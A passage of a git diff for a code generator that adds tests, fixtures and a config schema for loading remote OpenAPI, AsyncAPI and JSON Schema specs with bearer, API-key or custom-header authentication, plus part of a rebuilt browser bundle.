schema = { + $schema: 'http://json-schema.org/draft-07/schema#', + type: 'object', + properties: {id: {type: 'string'}} + }; + const server = await startTestServer([ + { + path: '/schema.json', + body: JSON.stringify(schema), + contentType: 'application/json', + requireHeader: {name: 'x-api-key', value: 'k'} + } + ]); + try { + const result = await loadJsonSchema( + ctx('jsonschema', `${server.url}/schema.json`, { + type: 'apiKey', + header: 'X-API-Key', + value: 'k' + }) + ); + expect(result).toEqual(schema); + } finally { + await server.close(); + } + }); + + it('3. Custom headers on root URL (openapi)', async () => { + const yaml = `openapi: 3.0.0 +info: + title: Custom Headers + version: 1.0.0 +paths: {} +`; + const server = await startTestServer([ + { + path: '/openapi.yaml', + body: yaml, + contentType: 'application/yaml', + requireHeader: {name: 'x-custom', value: 'value'} + } + ]); + try { + const document = await loadOpenapi( + ctx('openapi', `${server.url}/openapi.yaml`, { + type: 'custom', + headers: {'X-Custom': 'value'} + }) + ); + expect(document).toBeDefined(); + } finally { + await server.close(); + } + }); + }); + + describe('Case 4: cross-spec $ref same host with auth', () => { + it('OpenAPI cross-spec $ref to same host with auth on both fetches', async () => { + function authOk(req: http.IncomingMessage): boolean { + return req.headers['authorization'] === BEARER; + } + + const server = await startDynamicServer((port) => { + const root = `openapi: 3.0.0 +info: + title: Same host + version: 1.0.0 +paths: + /pets: + get: + summary: List pets + responses: + '200': + description: OK + content: + application/json: + schema: + $ref: 'http://127.0.0.1:${port}/components.yaml#/components/schemas/Pet' +`; + const components = `openapi: 3.0.0 +info: + title: Components + version: 1.0.0 +paths: {} +components: + schemas: + Pet: + type: object + properties: + id: + type: string +`; + return (req, res) => { + if (!authOk(req)) { + res.writeHead(401); + res.end('Unauthorized'); + return; + } + if (req.url === '/openapi.yaml') { + res.writeHead(200, {'content-type': 'application/yaml'}); + res.end(root); + return; + } + if (req.url === '/components.yaml') { + res.writeHead(200, {'content-type': 'application/yaml'}); + res.end(components); + return; + } + res.writeHead(404); + res.end('Not found'); + }; + }); + + try { + const document = await loadOpenapi( + ctx('openapi', `${server.url}/openapi.yaml`, { + type: 'bearer', + token: 'secret-token' + }) + ); + const componentsHits = server.requests.filter( + (r) => r.url === '/components.yaml' + ); + expect(componentsHits.length).toBeGreaterThanOrEqual(1); + expect(componentsHits[0]!.headers['authorization']).toBe(BEARER); + expect(document).toBeDefined(); + } finally { + await server.close(); + } + }); + }); + + describe('Case 6: cross-host warning', () => { + it('emits info-level warning when $ref host differs from root host', async () => { + const components = `openapi: 3.0.0 +info: + title: Components + version: 1.0.0 +paths: {} +components: + schemas: + Pet: + type: object + properties: + id: + type: string +`; + const refServer = await startTestServer([ + { + path: '/components.yaml', + body: components, + contentType: 'application/yaml', + requireHeader: {name: 'authorization', value: BEARER} + } + ]); + + const rootServer = await startDynamicServer(() => (req, res) => { + if (req.headers['authorization'] !== BEARER) { + res.writeHead(401); + res.end('Unauthorized'); + return; + } + if (req.url === '/openapi.yaml') { + const yaml = `openapi: 3.0.0 +info: + title: Cross host + version: 1.0.0 +paths: + /pets: + get: + summary: List pets + responses: + '200': + description: OK + content: + application/json: + schema: + $ref: '${refServer.url}/components.yaml#/components/schemas/Pet' +`; + res.writeHead(200, {'content-type': 'application/yaml'}); + res.end(yaml); + return; + } + res.writeHead(404); + res.end('Not found'); + }); + + const infoSpy = jest + .spyOn(Logger, 'info') + .mockImplementation(() => undefined); + try { + await loadOpenapi( + ctx('openapi', `${rootServer.url}/openapi.yaml`, { + type: 'bearer', + token: 'secret-token' + }) + ); + const crossHostLogs = infoSpy.mock.calls.filter(([msg]) => + String(msg).includes('auth headers sent to') + ); + expect(crossHostLogs.length).toBeGreaterThanOrEqual(1); + } finally { + infoSpy.mockRestore(); + await rootServer.close(); + await refServer.close(); + } + }); + }); + + describe('Case 7: 401 on root', () => { + it('throws a CodegenError', async () => { + const server = await startTestServer([ + { + path: '/openapi.yaml', + body: '', + requireHeader: {name: 'authorization', value: 'Bearer match'} + } + ]); + try { + await expect( + loadOpenapi( + ctx('openapi', `${server.url}/openapi.yaml`, { + type: 'bearer', + token: 'wrong' + }) + ) + ).rejects.toThrow(); + } finally { + await server.close(); + } + }); + }); + + describe('Case 9: no auth on public root URL', () => { + it('succeeds without an Authorization header', async () => { + const yaml = `openapi: 3.0.0 +info: + title: Public + version: 1.0.0 +paths: {} +`; + const server = await startTestServer([ + {path: '/openapi.yaml', body: yaml, contentType: 'application/yaml'} + ]); + try { + await loadOpenapi(ctx('openapi', `${server.url}/openapi.yaml`)); + expect(server.requests[0]!.headers['authorization']).toBeUndefined(); + } finally { + await server.close(); + } + }); + }); +}); diff --git a/test/configs/remote-url/asyncapi.yaml b/test/configs/remote-url/asyncapi.yaml new file mode 100644 index 00000000..3c9751b3 --- /dev/null +++ b/test/configs/remote-url/asyncapi.yaml @@ -0,0 +1,13 @@ +asyncapi: 2.6.0 +info: + title: Remote URL Test + version: 1.0.0 +channels: + user/signedup: + publish: + message: + payload: + type: object + properties: + email: + type: string diff --git a/test/configs/remote-url/jsonschema.json b/test/configs/remote-url/jsonschema.json new file mode 100644 index 00000000..100a46f3 --- /dev/null +++ b/test/configs/remote-url/jsonschema.json @@ -0,0 +1,10 @@ +{ + "$schema": "http://json-schema.org/draft-07/schema#", + "title": "RemoteUser", + "type": "object", + "properties": { + "id": { "type": "string" }, + "email": { "type": "string", "format": "email" } + }, + "required": ["id", "email"] +} diff --git a/test/configs/remote-url/openapi-components.yaml b/test/configs/remote-url/openapi-components.yaml new file mode 100644 index 00000000..d5a9ab5b --- /dev/null +++ b/test/configs/remote-url/openapi-components.yaml @@ -0,0 +1,14 @@ +openapi: 3.0.0 +info: + title: Components + version: 1.0.0 +paths: {} +components: + schemas: + Pet: + type: object + properties: + id: + type: string + breed: + $ref: 'SCHEMAS_URL#/components/schemas/Breed' diff --git a/test/configs/remote-url/openapi-schemas.yaml b/test/configs/remote-url/openapi-schemas.yaml new file mode 100644 index 00000000..1c8be868 --- /dev/null +++ b/test/configs/remote-url/openapi-schemas.yaml @@ -0,0 +1,12 @@ +openapi: 3.0.0 +info: + title: Schemas + version: 1.0.0 +paths: {} +components: + schemas: + Breed: + type: object + properties: + name: + type: string diff --git a/test/configs/remote-url/openapi.yaml b/test/configs/remote-url/openapi.yaml new file mode 100644 index 00000000..44667fa0 --- /dev/null +++ b/test/configs/remote-url/openapi.yaml @@ -0,0 +1,15 @@ +openapi: 3.0.0 +info: + title: Remote URL Test + version: 1.0.0 +paths: + /pets: + get: + summary: List pets + responses: + '200': + description: OK + content: + application/json: + schema: + $ref: 'COMPONENTS_URL#/components/schemas/Pet' diff --git a/test/utils/inputSource.spec.ts b/test/utils/inputSource.spec.ts new file mode 100644 index 00000000..7ce5a486 --- /dev/null +++ b/test/utils/inputSource.spec.ts @@ -0,0 +1,61 @@ +import {isRemoteUrl, getInputSourceType} from '../../src/utils/inputSource'; + +describe('inputSource utilities', () => { + describe('isRemoteUrl', () => { + it('returns true for http URL', () => { + expect(isRemoteUrl('http://example.com/spec.json')).toBe(true); + }); + + it('returns true for https URL', () => { + expect(isRemoteUrl('https://example.com/spec.yaml')).toBe(true); + }); + + it('returns false for file:// URL (not yet supported)', () => { + expect(isRemoteUrl('file:///etc/spec.yaml')).toBe(false); + }); + + it('returns false for relative path', () => { + expect(isRemoteUrl('./spec.yaml')).toBe(false); + }); + + it('returns false for absolute filesystem path on POSIX', () => { + expect(isRemoteUrl('/var/spec.yaml')).toBe(false); + }); + + it('returns false for absolute filesystem path on Windows', () => { + expect(isRemoteUrl('C:\\Users\\spec.yaml')).toBe(false); + }); + + it('returns false for empty string', () => { + expect(isRemoteUrl('')).toBe(false); + }); + + it('returns false for malformed string starting with httpz', () => { + expect(isRemoteUrl('httpz://example.com')).toBe(false); + }); + }); + + describe('getInputSourceType', () => { + it('classifies http(s) URL as remote_url', () => { + expect(getInputSourceType('https://example.com/spec.json')).toBe( + 'remote_url' + ); + expect(getInputSourceType('http://example.com/spec.yaml')).toBe( + 'remote_url' + ); + }); + + it('classifies relative path as local_relative', () => { + expect(getInputSourceType('./spec.yaml')).toBe('local_relative'); + expect(getInputSourceType('spec.json')).toBe('local_relative'); + }); + + it('classifies absolute path as local_absolute', () => { + // path.isAbsolute is platform-aware; both forms below are absolute + // on at least one supported platform + const absolute = + process.platform === 'win32' ? 'C:\\spec.yaml' : '/var/spec.yaml'; + expect(getInputSourceType(absolute)).toBe('local_absolute'); + }); + }); +}); diff --git a/test/utils/refResolvers.spec.ts b/test/utils/refResolvers.spec.ts new file mode 100644 index 00000000..6090d158 --- /dev/null +++ b/test/utils/refResolvers.spec.ts @@ -0,0 +1,127 @@ +import { + createOpenapiRefParserResolver, + createAsyncapiResolvers +} from '../../src/utils/refResolvers'; +import {fetchRemoteDocument} from '../../src/utils/remoteFetch'; +import {Logger} from '../../src/LoggingInterface'; + +jest.mock('../../src/utils/remoteFetch', () => ({ + fetchRemoteDocument: jest.fn() +})); + +describe('refResolvers', () => { + const fetchSpy = fetchRemoteDocument as jest.MockedFunction< + typeof fetchRemoteDocument + >; + + beforeEach(() => { + fetchSpy.mockReset(); + fetchSpy.mockResolvedValue({ + content: '{"ok":true}', + contentType: 'application/json', + finalUrl: 'https://example.com/ref.json' + }); + }); + + afterEach(() => { + jest.restoreAllMocks(); + }); + + describe('createOpenapiRefParserResolver', () => { + it('returns an HTTPResolverOptions object with a read function', () => { + const resolver = createOpenapiRefParserResolver(undefined, { + rootUrl: 'https://api.example.com/openapi.yaml' + }); + expect(typeof resolver.read).toBe('function'); + }); + + it('read() delegates to fetchRemoteDocument with the configured auth', async () => { + const auth = {type: 'bearer' as const, token: 'abc'}; + const resolver = createOpenapiRefParserResolver(auth, { + rootUrl: 'https://api.example.com/openapi.yaml' + }); + const read = resolver.read as (file: {url: string}) => Promise; + const result = await read({url: 'https://api.example.com/components.yaml'}); + expect(result).toBe('{"ok":true}'); + expect(fetchSpy).toHaveBeenCalledWith( + 'https://api.example.com/components.yaml', + auth + ); + }); + + it('emits a debug log per fetched URL', async () => { + const debugSpy = jest.spyOn(Logger, 'debug').mockImplementation(() => undefined); + const resolver = createOpenapiRefParserResolver(undefined, { + rootUrl: 'https://api.example.com/openapi.yaml' + }); + const read = resolver.read as (file: {url: string}) => Promise; + await read({url: 'https://api.example.com/components.yaml'}); + expect(debugSpy).toHaveBeenCalledWith( + expect.stringContaining('https://api.example.com/components.yaml') + ); + }); + + it('emits one info-level log per distinct cross-host destination', async () => { + const infoSpy = jest.spyOn(Logger, 'info').mockImplementation(() => undefined); + const resolver = createOpenapiRefParserResolver( + {type: 'bearer', token: 'abc'}, + {rootUrl: 'https://api.example.com/openapi.yaml'} + ); + const read = resolver.read as (file: {url: string}) => Promise; + // Two refs to the same cross-host -> info log fires once + await read({url: 'https://schemas.public.example.org/Pet.yaml'}); + await read({url: 'https://schemas.public.example.org/Order.yaml'}); + // A second cross-host -> a second info log + await read({url: 'https://other.example.net/Foo.yaml'}); + // Same-host ref -> no additional info log + await read({url: 'https://api.example.com/components.yaml'}); + + const crossHostLogs = infoSpy.mock.calls.filter(([msg]) => + String(msg).includes('auth headers sent to') + ); + expect(crossHostLogs.length).toBe(2); + }); + + it('does not emit cross-host warning when no auth is configured', async () => { + const infoSpy = jest.spyOn(Logger, 'info').mockImplementation(() => undefined); + const resolver = createOpenapiRefParserResolver(undefined, { + rootUrl: 'https://api.example.com/openapi.yaml' + }); + const read = resolver.read as (file: {url: string}) => Promise; + await read({url: 'https://other.example.net/Foo.yaml'}); + const crossHostLogs = infoSpy.mock.calls.filter(([msg]) => + String(msg).includes('auth headers sent to') + ); + expect(crossHostLogs.length).toBe(0); + }); + }); + + describe('createAsyncapiResolvers', () => { + it('returns an array with two resolvers (http + https)', () => { + const resolvers = createAsyncapiResolvers(undefined, { + rootUrl: 'https://api.example.com/asyncapi.yaml' + }); + expect(Array.isArray(resolvers)).toBe(true); + expect(resolvers.map((r) => r.schema).sort()).toEqual(['http', 'https']); + }); + + it('read() delegates to fetchRemoteDocument with the configured auth', async () => { + const auth = {type: 'apiKey' as const, header: 'X-API-Key', value: 'k'}; + const resolvers = createAsyncapiResolvers(auth, { + rootUrl: 'https://api.example.com/asyncapi.yaml' + }); + const httpsResolver = resolvers.find((r) => r.schema === 'https')!; + // Spectral resolvers use a urijs-like Uri object; both `.toString()` + // and string coercion must work. Use a minimal stub. + const uri = { + toString: () => 'https://api.example.com/components.yaml' + }; + const result = await httpsResolver.read(uri as any); + expect(result).toBe('{"ok":true}'); + expect(fetchSpy).toHaveBeenCalledWith( + 'https://api.example.com/components.yaml', + auth + ); + }); + }); +}); diff --git a/test/utils/remoteFetch.spec.ts b/test/utils/remoteFetch.spec.ts new file mode 100644 index 00000000..b604fdc3 --- /dev/null +++ b/test/utils/remoteFetch.spec.ts @@ -0,0 +1,195 @@ +import {fetchRemoteDocument} from '../../src/utils/remoteFetch'; +import {CodegenError, ErrorType} from '../../src/codegen/errors'; + +type FetchMock = jest.SpyInstance< + ReturnType, + Parameters +>; + +function mockFetchOnce( + fetchSpy: FetchMock, + init: { + status?: number; + statusText?: string; + body?: string; + contentType?: string; + finalUrl?: string; + } = {} +) { + const status = init.status ?? 200; + const headers = new Headers(); + if (init.contentType) { + headers.set('content-type', init.contentType); + } + fetchSpy.mockResolvedValueOnce( + new Response(init.body ?? '{}', { + status, + statusText: init.statusText ?? '', + headers + }) + ); +} + +describe('fetchRemoteDocument', () => { + let fetchSpy: FetchMock; + + beforeEach(() => { + fetchSpy = jest.spyOn(globalThis, 'fetch') as unknown as FetchMock; + }); + + afterEach(() => { + fetchSpy.mockRestore(); + jest.useRealTimers(); + }); + + it('attaches Authorization header for bearer auth', async () => { + mockFetchOnce(fetchSpy, { + body: '{"ok":true}', + contentType: 'application/json' + }); + await fetchRemoteDocument('https://example.com/spec.json', { + type: 'bearer', + token: 'abc' + }); + const init = fetchSpy.mock.calls[0][1] as RequestInit; + const headers = new Headers(init.headers); + expect(headers.get('authorization')).toBe('Bearer abc'); + }); + + it('attaches custom header for apiKey auth', async () => { + mockFetchOnce(fetchSpy, {body: '{}'}); + await fetchRemoteDocument('https://example.com/spec.json', { + type: 'apiKey', + header: 'X-API-Key', + value: 'secret' + }); + const init = fetchSpy.mock.calls[0][1] as RequestInit; + const headers = new Headers(init.headers); + expect(headers.get('x-api-key')).toBe('secret'); + }); + + it('attaches all custom headers verbatim', async () => { + mockFetchOnce(fetchSpy, {body: '{}'}); + await fetchRemoteDocument('https://example.com/spec.json', { + type: 'custom', + headers: {Authorization: 'Bearer custom', 'X-Trace': 'abc-123'} + }); + const init = fetchSpy.mock.calls[0][1] as RequestInit; + const headers = new Headers(init.headers); + expect(headers.get('authorization')).toBe('Bearer custom'); + expect(headers.get('x-trace')).toBe('abc-123'); + }); + + it('returns content + contentType + finalUrl on 2xx', async () => { + mockFetchOnce(fetchSpy, { + body: '{"ok":true}', + contentType: 'application/json' + }); + const result = await fetchRemoteDocument( + 'https://example.com/spec.json' + ); + expect(result.content).toBe('{"ok":true}'); + expect(result.contentType).toBe('application/json'); + expect(result.finalUrl).toBeDefined(); + }); + + it('sends no auth headers when none configured', async () => { + mockFetchOnce(fetchSpy, {body: '{}'}); + await fetchRemoteDocument('https://example.com/spec.json'); + const init = fetchSpy.mock.calls[0][1] as RequestInit; + const headers = new Headers(init.headers); + expect(headers.get('authorization')).toBeNull(); + }); + + async function captureRejection( + fn: () => Promise + ): Promise { + try { + await fn(); + } catch (e) { + return e as CodegenError; + } + throw new Error('expected fetchRemoteDocument to reject'); + } + + it('throws CodegenError with auth-failure help text on 401', async () => { + mockFetchOnce(fetchSpy, {status: 401, statusText: 'Unauthorized'}); + const err = await captureRejection(() => + fetchRemoteDocument('https://example.com/spec.json') + ); + expect(err.type).toBe(ErrorType.INPUT_DOCUMENT_ERROR); + expect(err.message).toContain('401'); + expect(err.help?.toLowerCase()).toMatch(/auth/); + }); + + it('throws CodegenError on 403', async () => { + mockFetchOnce(fetchSpy, {status: 403, statusText: 'Forbidden'}); + await expect( + fetchRemoteDocument('https://example.com/spec.json') + ).rejects.toMatchObject({ + message: expect.stringContaining('403') + }); + }); + + it('throws CodegenError with not-found help on 404', async () => { + mockFetchOnce(fetchSpy, {status: 404, statusText: 'Not Found'}); + const err = await captureRejection(() => + fetchRemoteDocument('https://example.com/spec.json') + ); + expect(err.message).toMatch(/404/); + expect(err.help?.toLowerCase()).toMatch(/url|verify/); + }); + + it('throws CodegenError with rate-limit help on 429', async () => { + mockFetchOnce(fetchSpy, {status: 429, statusText: 'Too Many Requests'}); + const err = await captureRejection(() => + fetchRemoteDocument('https://example.com/spec.json') + ); + expect(err.message).toMatch(/429/); + expect(err.help?.toLowerCase()).toMatch(/rate|retry/); + }); + + it('throws CodegenError on 500', async () => { + mockFetchOnce(fetchSpy, {status: 500, statusText: 'Server Error'}); + await expect( + fetchRemoteDocument('https://example.com/spec.json') + ).rejects.toMatchObject({ + message: expect.stringContaining('500') + }); + }); + + it('throws CodegenError on network failure', async () => { + fetchSpy.mockRejectedValueOnce(new TypeError('fetch failed')); + const err = await captureRejection(() => + fetchRemoteDocument('https://example.com/spec.json') + ); + expect(err).toBeInstanceOf(CodegenError); + expect(err.help?.toLowerCase()).toMatch(/network|connect/); + }); + + it('throws CodegenError with timeout help on AbortError', async () => { + fetchSpy.mockImplementationOnce((_url, init) => { + const signal = (init as RequestInit | undefined)?.signal as + | AbortSignal + | undefined; + return new Promise((_resolve, reject) => { + if (signal) { + signal.addEventListener('abort', () => { + const e = new Error('aborted'); + e.name = 'AbortError'; + reject(e); + }); + } + }); + }); + const err = await captureRejection(() => + fetchRemoteDocument( + 'https://example.com/spec.json', + undefined, + {timeoutMs: 10} + ) + ); + expect(err).toBeInstanceOf(CodegenError); + expect(err.help?.toLowerCase()).toMatch(/timeout|timed out/); + }); +}); diff --git a/website/src/schemas/configuration-schema.json b/website/src/schemas/configuration-schema.json index 1a1544a5..67d272f6 100644 --- a/website/src/schemas/configuration-schema.json +++ b/website/src/schemas/configuration-schema.json @@ -19,6 +19,9 @@ "type": "string", "markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)" }, + "auth": { + "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth" + }, "language": { "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language" }, @@ -78,6 +81,9 @@ "type": "string", "markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)" }, + "auth": { + "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth" + }, "language": { "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language" }, @@ -124,6 +130,72 @@ "type": "string", "markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)" }, + "auth": { + "anyOf": [ + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "bearer" + }, + "token": { + "type": "string", + "minLength": 1 + } + }, + "required": [ + "type", + "token" + ], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "apiKey" + }, + "header": { + "type": "string", + "minLength": 1 + }, + "value": { + "type": "string", + "minLength": 1 + } + }, + "required": [ + "type", + "header", + "value" + ], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "custom" + }, + "headers": { + "type": "object", + "additionalProperties": { + "type": "string" + } + } + }, + "required": [ + "type", + "headers" + ], + "additionalProperties": false + } + ], + "markdownDescription": "Authentication for fetching remote input specifications via http(s). Ignored for local file paths. WARNING: these credentials are sent to every URL the loader fetches, including external $ref targets on other hosts. See https://the-codegen-project.org/docs/configurations#auth-scope-and-security-considerations for details." + }, "language": { "type": "string", "const": "typescript", diff --git a/website/static/codegen.browser.mjs b/website/static/codegen.browser.mjs index 09dcf123..80817fa4 100644 --- a/website/static/codegen.browser.mjs +++ b/website/static/codegen.browser.mjs @@ -2319,28932 +2319,22162 @@ var init_buffer2 = __esm({ } }); -// node_modules/yaml/browser/dist/nodes/identity.js -function isCollection(node) { - if (node && typeof node === "object") - switch (node[NODE_TYPE]) { - case MAP: - case SEQ: - return true; - } - return false; -} -function isNode(node) { - if (node && typeof node === "object") - switch (node[NODE_TYPE]) { - case ALIAS: - case MAP: - case SCALAR: - case SEQ: - return true; +// src/browser/shims/json-schema-ref-parser.ts +function resolvePointer(schema8, pointer) { + if (!pointer.startsWith("#/")) { + return void 0; + } + const parts = pointer.slice(2).split("/").map( + (p7) => ( + // Decode JSON pointer escape sequences + p7.replace(/~1/g, "/").replace(/~0/g, "~") + ) + ); + let current = schema8; + for (const part of parts) { + if (current === void 0 || current === null) { + return void 0; } - return false; -} -var ALIAS, DOC, MAP, PAIR, SCALAR, SEQ, NODE_TYPE, isAlias, isDocument, isMap, isPair, isScalar, isSeq, hasAnchor; -var init_identity = __esm({ - "node_modules/yaml/browser/dist/nodes/identity.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - ALIAS = Symbol.for("yaml.alias"); - DOC = Symbol.for("yaml.document"); - MAP = Symbol.for("yaml.map"); - PAIR = Symbol.for("yaml.pair"); - SCALAR = Symbol.for("yaml.scalar"); - SEQ = Symbol.for("yaml.seq"); - NODE_TYPE = Symbol.for("yaml.node.type"); - isAlias = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === ALIAS; - isDocument = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === DOC; - isMap = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === MAP; - isPair = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === PAIR; - isScalar = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === SCALAR; - isSeq = (node) => !!node && typeof node === "object" && node[NODE_TYPE] === SEQ; - hasAnchor = (node) => (isScalar(node) || isCollection(node)) && !!node.anchor; + current = current[part]; } -}); - -// node_modules/yaml/browser/dist/visit.js -function visit(node, visitor) { - const visitor_ = initVisitor(visitor); - if (isDocument(node)) { - const cd = visit_(null, node.contents, visitor_, Object.freeze([node])); - if (cd === REMOVE) - node.contents = null; - } else - visit_(null, node, visitor_, Object.freeze([])); + return current; } -function visit_(key, node, visitor, path2) { - const ctrl = callVisitor(key, node, visitor, path2); - if (isNode(ctrl) || isPair(ctrl)) { - replaceNode(key, path2, ctrl); - return visit_(key, ctrl, visitor, path2); +function dereferenceInternalImpl(schema8, root2, visited = /* @__PURE__ */ new Set()) { + if (schema8 === null || typeof schema8 !== "object") { + return schema8; } - if (typeof ctrl !== "symbol") { - if (isCollection(node)) { - path2 = Object.freeze(path2.concat(node)); - for (let i7 = 0; i7 < node.items.length; ++i7) { - const ci = visit_(i7, node.items[i7], visitor, path2); - if (typeof ci === "number") - i7 = ci - 1; - else if (ci === BREAK) - return BREAK; - else if (ci === REMOVE) { - node.items.splice(i7, 1); - i7 -= 1; - } - } - } else if (isPair(node)) { - path2 = Object.freeze(path2.concat(node)); - const ck = visit_("key", node.key, visitor, path2); - if (ck === BREAK) - return BREAK; - else if (ck === REMOVE) - node.key = null; - const cv = visit_("value", node.value, visitor, path2); - if (cv === BREAK) - return BREAK; - else if (cv === REMOVE) - node.value = null; + if (Array.isArray(schema8)) { + return schema8.map((item) => dereferenceInternalImpl(item, root2, visited)); + } + if (schema8.$ref && typeof schema8.$ref === "string" && schema8.$ref.startsWith("#/")) { + const refPath = schema8.$ref; + if (visited.has(refPath)) { + return { ...schema8 }; + } + const resolved = resolvePointer(root2, refPath); + if (resolved !== void 0) { + visited.add(refPath); + const dereferenced = dereferenceInternalImpl(resolved, root2, visited); + visited.delete(refPath); + return dereferenced; } } - return ctrl; + const result2 = {}; + for (const [key, value2] of Object.entries(schema8)) { + result2[key] = dereferenceInternalImpl(value2, root2, visited); + } + return result2; } -async function visitAsync(node, visitor) { - const visitor_ = initVisitor(visitor); - if (isDocument(node)) { - const cd = await visitAsync_(null, node.contents, visitor_, Object.freeze([node])); - if (cd === REMOVE) - node.contents = null; - } else - await visitAsync_(null, node, visitor_, Object.freeze([])); +async function dereference(_basePathOrSchema, schemaOrOptions, _options) { + const schema8 = typeof _basePathOrSchema === "object" ? _basePathOrSchema : schemaOrOptions ?? {}; + return dereferenceInternalImpl(schema8, schema8); } -async function visitAsync_(key, node, visitor, path2) { - const ctrl = await callVisitor(key, node, visitor, path2); - if (isNode(ctrl) || isPair(ctrl)) { - replaceNode(key, path2, ctrl); - return visitAsync_(key, ctrl, visitor, path2); +function $RefParser() { + this.schema = {}; + this.$refs = { + circular: false, + paths: () => [], + values: () => ({}), + get: () => void 0 + }; +} +function resolveSchemaFromArgs(pathOrSchema, schemaOrOptions) { + if (typeof pathOrSchema === "object" && pathOrSchema !== null) { + return pathOrSchema; } - if (typeof ctrl !== "symbol") { - if (isCollection(node)) { - path2 = Object.freeze(path2.concat(node)); - for (let i7 = 0; i7 < node.items.length; ++i7) { - const ci = await visitAsync_(i7, node.items[i7], visitor, path2); - if (typeof ci === "number") - i7 = ci - 1; - else if (ci === BREAK) - return BREAK; - else if (ci === REMOVE) { - node.items.splice(i7, 1); - i7 -= 1; - } - } - } else if (isPair(node)) { - path2 = Object.freeze(path2.concat(node)); - const ck = await visitAsync_("key", node.key, visitor, path2); - if (ck === BREAK) - return BREAK; - else if (ck === REMOVE) - node.key = null; - const cv = await visitAsync_("value", node.value, visitor, path2); - if (cv === BREAK) - return BREAK; - else if (cv === REMOVE) - node.value = null; - } + if (typeof schemaOrOptions === "object" && schemaOrOptions !== null) { + return schemaOrOptions; } - return ctrl; -} -function initVisitor(visitor) { - if (typeof visitor === "object" && (visitor.Collection || visitor.Node || visitor.Value)) { - return Object.assign({ - Alias: visitor.Node, - Map: visitor.Node, - Scalar: visitor.Node, - Seq: visitor.Node - }, visitor.Value && { - Map: visitor.Value, - Scalar: visitor.Value, - Seq: visitor.Value - }, visitor.Collection && { - Map: visitor.Collection, - Seq: visitor.Collection - }, visitor); + if (typeof pathOrSchema === "string") { + try { + return JSON.parse(pathOrSchema); + } catch { + return {}; + } } - return visitor; + return {}; } -function callVisitor(key, node, visitor, path2) { - if (typeof visitor === "function") - return visitor(key, node, path2); - if (isMap(node)) - return visitor.Map?.(key, node, path2); - if (isSeq(node)) - return visitor.Seq?.(key, node, path2); - if (isPair(node)) - return visitor.Pair?.(key, node, path2); - if (isScalar(node)) - return visitor.Scalar?.(key, node, path2); - if (isAlias(node)) - return visitor.Alias?.(key, node, path2); - return void 0; +function getJsonSchemaRefParserDefaultOptions() { + return { + parse: { + json: { order: 100 }, + yaml: { order: 200 }, + text: { order: 300 }, + binary: { order: 400 } + }, + resolve: { + file: { order: 100 }, + http: { order: 200 }, + external: true + }, + dereference: { + circular: true, + excludedPathMatcher: () => false + }, + continueOnError: false + }; } -function replaceNode(key, path2, node) { - const parent2 = path2[path2.length - 1]; - if (isCollection(parent2)) { - parent2.items[key] = node; - } else if (isPair(parent2)) { - if (key === "key") - parent2.key = node; - else - parent2.value = node; - } else if (isDocument(parent2)) { - parent2.contents = node; - } else { - const pt = isAlias(parent2) ? "alias" : "scalar"; - throw new Error(`Cannot replace node with ${pt} parent`); +function Options(options) { + const defaults2 = getJsonSchemaRefParserDefaultOptions(); + Object.assign(this, defaults2); + if (options) { + Object.assign(this, options); } } -var BREAK, SKIP, REMOVE; -var init_visit = __esm({ - "node_modules/yaml/browser/dist/visit.js"() { +var init_json_schema_ref_parser = __esm({ + "src/browser/shims/json-schema-ref-parser.ts"() { init_dirname(); init_buffer2(); init_process2(); - init_identity(); - BREAK = Symbol("break visit"); - SKIP = Symbol("skip children"); - REMOVE = Symbol("remove node"); - visit.BREAK = BREAK; - visit.SKIP = SKIP; - visit.REMOVE = REMOVE; - visitAsync.BREAK = BREAK; - visitAsync.SKIP = SKIP; - visitAsync.REMOVE = REMOVE; + $RefParser.prototype.parse = async function(pathOrSchema, schemaOrOptions, _options) { + this.schema = resolveSchemaFromArgs(pathOrSchema, schemaOrOptions); + return this.schema; + }; + $RefParser.prototype.resolve = async function(pathOrSchema, schemaOrOptions, options) { + await this.parse(pathOrSchema, schemaOrOptions, options); + return this; + }; + $RefParser.prototype.bundle = async function(pathOrSchema, schemaOrOptions, options) { + await this.parse(pathOrSchema, schemaOrOptions, options); + return this.schema; + }; + $RefParser.prototype.dereference = async function(pathOrSchema, schemaOrOptions, _options) { + const schema8 = resolveSchemaFromArgs(pathOrSchema, schemaOrOptions); + this.schema = dereferenceInternalImpl(schema8, schema8); + return this.schema; + }; + Options.prototype = {}; } }); -// node_modules/yaml/browser/dist/doc/directives.js -var escapeChars, escapeTagName, Directives; -var init_directives = __esm({ - "node_modules/yaml/browser/dist/doc/directives.js"() { +// node_modules/@babel/runtime/helpers/interopRequireDefault.js +var require_interopRequireDefault = __commonJS({ + "node_modules/@babel/runtime/helpers/interopRequireDefault.js"(exports28, module5) { init_dirname(); init_buffer2(); init_process2(); - init_identity(); - init_visit(); - escapeChars = { - "!": "%21", - ",": "%2C", - "[": "%5B", - "]": "%5D", - "{": "%7B", - "}": "%7D" - }; - escapeTagName = (tn) => tn.replace(/[!,[\]{}]/g, (ch) => escapeChars[ch]); - Directives = class _Directives { - constructor(yaml, tags6) { - this.docStart = null; - this.docEnd = false; - this.yaml = Object.assign({}, _Directives.defaultYaml, yaml); - this.tags = Object.assign({}, _Directives.defaultTags, tags6); + function _interopRequireDefault(e10) { + return e10 && e10.__esModule ? e10 : { + "default": e10 + }; + } + module5.exports = _interopRequireDefault, module5.exports.__esModule = true, module5.exports["default"] = module5.exports; + } +}); + +// node_modules/@humanwhocodes/momoa/api.js +var require_api = __commonJS({ + "node_modules/@humanwhocodes/momoa/api.js"(exports28) { + "use 